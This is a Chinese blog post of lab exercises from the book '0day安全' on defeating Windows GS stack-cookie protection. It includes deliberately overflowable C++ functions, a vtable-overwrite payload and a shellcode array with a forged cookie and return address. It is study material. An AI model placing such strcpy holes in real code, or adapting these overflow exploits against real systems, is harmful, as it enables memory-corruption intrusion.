hu1y40's blog

hu1y40'blog
天堂的穹空遍布地狱之火的颜色,但也是天堂。
  1. 首页
  2. 书籍阅读
  3. 0day安全
  4. 正文

0day安全 第10章实验

2023年10月7日 1025点热度 0人点赞 0条评论

利用未保护的内存突破GS

实验环境

推荐使用的环境 备注
操作系统 Windows xp sp2
编译器 VS 2008
编译选项 默认编译选项
build版本 release版本

实验代码

// exp1.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<string.h>

int vulfunction(const char* str) {
char arry[4];
strcpy(arry, str);
return 1;
}

int _tmain(int argc, _TCHAR* argv[])
{
const char* str = "yeah,the function is without GS";
vulfunction(str);
return 0;
}

fig:

fig:

最后并没有进行Security Cookie的检测,但是检测了ESP,对比的是ESP和EBP的值

覆盖虚函数突破GS

实验环境

推荐使用的环境 备注
操作系统 Windows xp sp2
编译器 VS 2008
编译选项 默认编译选项
build版本 release版本

实验代码

// 查看内存的代码
// over_virtual.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "string.h"

class GSVirtual {
public:
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar()
{}
};

int main()
{

GSVirtual test;
__asm int 3
test.gsv(
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x00"
);
return 0;
}

优化选项禁用 编译选项release版本

fig:

右下角栈区

004021D0 为虚函数表地址

00402100 为参数地址

004010CA 为返回地址

0012FF7C 为EBP

13825F2E 为Security Cookie

fig:

这里是先获取虚函数列表指针,随后获取虚函数的指针。

通过将虚函数列表(由于虚函数列表指针为D0,shellcode参数的地址为00,故而覆盖虚函数最后一个字节即可)这样虚函数列表指针就是shellcode的前四个字节。发现buf数组的地址是ESP-4。然而在call eax这条命令(执行虚函数)会push一次(ESP+4),故而想让ESP指向buf地址需要pop两次。随后ret便会使得EIP指向buf的地址。开始执行shellcode。

fig:

shellcode开始的地址是pop edi pop esi retn 作为指令使得ESP-8到buf地址。并且这个地址作为指令不影响shellcode执行。故而不需要处理。

fig:

结果

攻击异常处理突破GS

实验环境

推荐使用的环境 备注
操作系统 Windows 2000
编译器 VS 2005
编译选项 默认编译选项
build版本 release版本

实验代码

win2000 sp4安装vs2005提示确少IE 6.0 sp1 暂时做不了。

同时替换栈中和.data中的Cookie突破GS

实验环境

推荐使用的环境 备注
操作系统 Windows xp sp2
编译器 VS 2008
编译选项 默认编译选项
build版本 release版本

实验代码

#include <stdafx.h>
#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
char dest[200];
if(i<0x9995)
{
char * buf=str+i;
*buf=*src;
*(buf+1)=*(src+1);
*(buf+2)=*(src+2);
*(buf+3)=*(src+3);
strcpy(dest,src);
}
}
void main()
{
char * str=(char *)malloc(0x10000);
test(str,0xFFFF2FB8,shellcode);
}

首先要先在malloc后面打一个断点,查看str的地址。

随后查看.data中的security cookie的地址。

计算出其差值,用来更改0xFFFF2FB8这个参数(我这边算出的是-53320)。

security cookie地址

fig:

str地址

fig:

然后就是将securitycookie改成0x90909090

随后计算ebp xor 0x90909090

以及查看shellcode的地址。

fig:

fig:

fig:

 

标签: 实验
最后更新:2023年10月7日

hu1y40

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复
文章目录
  • 利用未保护的内存突破GS
    • 实验环境
    • 实验代码
  • 覆盖虚函数突破GS
    • 实验环境
    • 实验代码
  • 攻击异常处理突破GS
    • 实验环境
    • 实验代码
  • 同时替换栈中和.data中的Cookie突破GS
    • 实验环境
    • 实验代码

分类目录

  • 0day安全
  • Bypass
  • C++Prime
  • CTF
  • DoS
  • DoS
  • FUZZ
  • iot
  • JSONP
  • MISC
  • MISC
  • PHP伪协议
  • Python
  • REVERSE
  • sqli-labs
  • SQL注入
  • Trick
  • UAF
  • WEB
  • WEB
  • XXE
  • 书籍阅读
  • 二进制
  • 代码阅读
  • 信息搜集
  • 信息泄露
  • 加密与解密
  • 双重释放漏洞
  • 反序列化
  • 命令执行
  • 命令执行
  • 堆溢出
  • 密码学
  • 弱加密
  • 提权漏洞
  • 整数溢出
  • 文件上传
  • 未分类
  • 栈溢出
  • 格式化字符串漏洞
  • 模型
  • 汇编语言
  • 渗透测试
  • 漏洞分析
  • 漏洞利用
  • 漏洞战争
  • 漏洞挖掘
  • 病毒分析
  • 越界读取
  • 路径遍历
  • 逻辑漏洞
  • 配置不当
  • 钓鱼
  • 靶场
最新 热点 随机
最新 热点 随机
加密算法 2023年度总结 RTSPServer StackOverflow Vulnerability FUZZ 总览篇 MP4Box 无限循环漏洞 CVE-2023-40477 Winrar RCE漏洞分析
CVE-2023-34312 QQ&TIM提权漏洞分析 C编译过程 针对GitHub仓库的RepoJacking攻击 汇编语言 IDC脚本编写 sqli-labs 61-70

COPYRIGHT © 2023 hu1y40's blog. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

鄂ICP备2021009673号-1